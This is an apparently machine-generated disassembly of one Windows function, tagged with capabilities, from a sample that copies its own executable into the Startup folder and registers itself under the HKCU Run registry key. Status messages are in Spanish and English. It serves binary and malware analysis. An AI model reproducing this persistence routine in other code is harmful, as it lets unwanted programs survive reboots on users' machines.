Function at 0x140005a60
Capabilities:
Copy file
Get common file path
Get startup folder
Persist via run registry key
Set registry value
Write file to startup folder

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x428]
sub rsp, 0x528
mov rax, qword [0x140048040]
xor rax, rsp
mov qword [rbp + 0x400], rax
mov r8d, 0x104
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140005add
lea rdx, str.Error:_no_possible_get_path_of_the_exe
lea rcx, [0x1400498f0]
call fcn.140008b40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.14000afc0
movzx edx, al
mov rcx, rbx
call fcn.14000ae10
mov rcx, rbx
call fcn.140008400
mov eax, 1
jmp 0x14000624d
mov qword [rsp + 0x540], rsi
lea rax, [rbp - 0x20]
xor esi, esi
xorps xmm0, xmm0
mov rbx, 0xffffffffffffffff
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
mov r8, rbx
movups xmmword [rbp - 0x60], xmm0
inc r8
cmp word [rax + r8*2], si
jne 0x140005b04
mov qword [rsp + 0x548], rdi
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x550], r12
lea rcx, [rbp - 0x60]
mov qword [rsp + 0x520], r13
mov qword [rsp + 0x518], r14
mov qword [rsp + 0x510], r15
call fcn.1400037b0
xor r9d, r9d
lea rax, [rbp + 0x1f0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 7]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x140005ba4
lea rdx, str.Error:_Rut_error_finding
lea rcx, [0x1400498f0]
call fcn.140008b40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.14000afc0
movzx edx, al
mov rcx, rbx
call fcn.14000ae10
mov rcx, rbx
call fcn.140008400
jmp 0x1400061dc
xorps xmm0, xmm0
mov qword [rbp - 0x30], rsi
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x28], rsi
lea rax, [rbp + 0x1f0]
mov r8, rbx
nop dword [rax]
inc r8
cmp word [rax + r8*2], si
jne 0x140005bc0
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x40]
call fcn.1400037b0
cmp qword [rbp - 0x48], 7
lea rcx, [rbp - 0x60]
cmova rcx, qword [rbp - 0x60]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
xorps xmm0, xmm0
mov qword [rbp - 0x80], rsi
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x78], rsi
nop
inc rbx
cmp word [rax + rbx*2], si
jne 0x140005c00
mov r8, rbx
lea rcx, [rsp + 0x70]
mov rdx, rax
call fcn.1400037b0
mov r12, qword [rbp - 0x30]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r12
cmp rax, 1
jb 0x14000626c
mov r14, qword [rbp - 0x28]
lea r13, [rbp - 0x40]
mov rdi, qword [rbp - 0x40]
lea r15, [r12 + 1]
cmp r14, 7
mov qword [rsp + 0x40], rsi
mov ebx, 7
mov qword [rsp + 0x48], rsi
cmova r13, rdi
lea rsi, [rsp + 0x30]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
cmp r15, rbx
jbe 0x140005d05
mov rbx, r15
or rbx, 7
cmp rbx, rcx
jbe 0x140005c94
movabs rax, 0x7fffffffffffffff
mov rbx, rcx
lea rcx, [rax + rax]
jmp 0x140005cc3
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x140006278
add rcx, rcx
cmp rcx, 0x1000
jb 0x140005cef
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006278
mov rcx, rax
call fcn.1400103c8
test rax, rax
je 0x140006272
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140005d00
test rcx, rcx
je 0x140005cfe
call fcn.1400103c8
mov rsi, rax
jmp 0x140005d00
xor esi, esi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x48], rbx
mov rdx, r13
lea rbx, [r12 + r12]
mov qword [rsp + 0x40], r15
mov r8, rbx
mov rcx, rsi
call fcn.140031ec0
mov eax, dword [0x140040bec]
lea rdx, [rsp + 0x70]
mov word [rbx + rsi], ax
lea rcx, [rsp + 0x30]
xor r12d, r12d
mov word [rsi + r15*2], r12w
cmp qword [rbp - 0x78], 7
mov r8, qword [rbp - 0x80]
cmova rdx, qword [rsp + 0x70]
call fcn.140006710
mov qword [rsp + 0x60], r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140005dc6
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005dc1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006272
call fcn.1400103c0
cmp qword [rsp + 0x68], 7
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x60]
cmova rdx, qword [rsp + 0x50]
cmp qword [rbp - 0x48], 7
cmova rcx, qword [rbp - 0x60]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140005dfe
lea rdx, str.Error:_No_se_pudo_copiar_el_programa_al_directorio_de_inicio.
jmp 0x1400060c5
lea rax, [rsp + 0x30]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140006084
mov eax, dword [rsp + 0x60]
lea rcx, [rsp + 0x50]
add eax, eax
lea rdx, [rsp + 0x70]
cmp qword [rsp + 0x68], 7
mov r9d, 1
mov dword [rsp + 0x28], eax
cmova rcx, qword [rsp + 0x50]
cmp qword [rbp - 0x78], 7
mov qword [rsp + 0x20], rcx
cmova rdx, qword [rsp + 0x70]
xor r8d, r8d
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x14000607b
lea rdx, str.Programa_agregado_al_inicio_correctamente.
lea rcx, [0x1400497c0]
call fcn.1400087f0
mov rcx, rax
call fcn.140008ab0
lea rdx, str.Program_added_to_startup
lea rcx, [0x1400497c0]
call fcn.1400087f0
mov rcx, rax
call fcn.140008ab0
call fcn.140003d80
call fcn.1400040c0
call fcn.140004740
call fcn.140004400
lea ecx, [rbx + 8]
call fcn.1400103c8
lea rcx, [0x140004c00]
mov r9, rax
lea r8, [0x14000bda0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp - 0x68]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call fcn.140016ee0
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14000629f
cmp dword [rbp - 0x68], r12d
je 0x14000627e
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp - 0x68], eax
je 0x140006289
movaps xmm0, xmmword [rbp - 0x70]
lea rcx, [rsp + 0x30]
xor edx, edx
movdqa xmmword [rsp + 0x30], xmm0
call fcn.14000fcb0
test eax, eax
jne 0x140006294
mov rdx, qword [rsp + 0x68]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
cmp rdx, 7
jbe 0x140005f90
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f8b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006266
call fcn.1400103c0
mov rdx, qword [rbp - 0x78]
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r12w
cmp rdx, 7
jbe 0x140005fe5
mov rcx, qword [rsp + 0x70]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fe0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006266
call fcn.1400103c0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r12w
cmp r14, 7
jbe 0x140006032
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000602a
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006266
mov rcx, rdi
call fcn.1400103c0
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x14000621d
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006071
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006266
call fcn.1400103c0
jmp 0x14000621d
lea rdx, str.Error_al_agregar_programa_al_inicio.
jmp 0x14000608b
lea rdx, str.Error_al_abrir_la_clave_de_registro.
lea rcx, [0x1400498f0]
call fcn.140008b40
mov rbx, rax
mov dl, 0xa
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
call fcn.14000afc0
movzx edx, al
mov rcx, rbx
call fcn.14000ae10
mov rcx, rbx
call fcn.140008400
lea rdx, str.Error:
lea rcx, [0x1400498f0]
call fcn.140008b40
mov rbx, rax
mov dl, 0xa
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
call fcn.14000afc0
movzx edx, al
mov rcx, rbx
call fcn.14000ae10
mov rcx, rbx
call fcn.140008400
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x14000613a
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006135
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006266
call fcn.1400103c0
mov rdx, qword [rbp - 0x78]
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r12w
cmp rdx, 7
jbe 0x14000618f
mov rcx, qword [rsp + 0x70]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000618a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006266
call fcn.1400103c0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r12w
cmp r14, 7
jbe 0x1400061dc
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400061d4
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006266
mov rcx, rdi
call fcn.1400103c0
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x140006218
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006213
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006266
call fcn.1400103c0
mov eax, 1
mov r14, qword [rsp + 0x518]
mov r13, qword [rsp + 0x520]
mov r12, qword [rsp + 0x550]
mov rdi, qword [rsp + 0x548]
mov r15, qword [rsp + 0x510]
mov rsi, qword [rsp + 0x540]
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.1400103a0
add rsp, 0x528
pop rbx
pop rbp
ret
call fcn.140019950
int3
call fcn.1400019a0
int3
call fcn.140019950
int3
call fcn.140001900
int3
mov ecx, 1
call fcn.14000c2e4
int3
mov ecx, 5
call fcn.14000c2e4
int3
mov ecx, 2
call fcn.14000c2e4
int3
mov ecx, 6
mov dword [rbp - 0x68], r12d
call fcn.14000c2e4
int3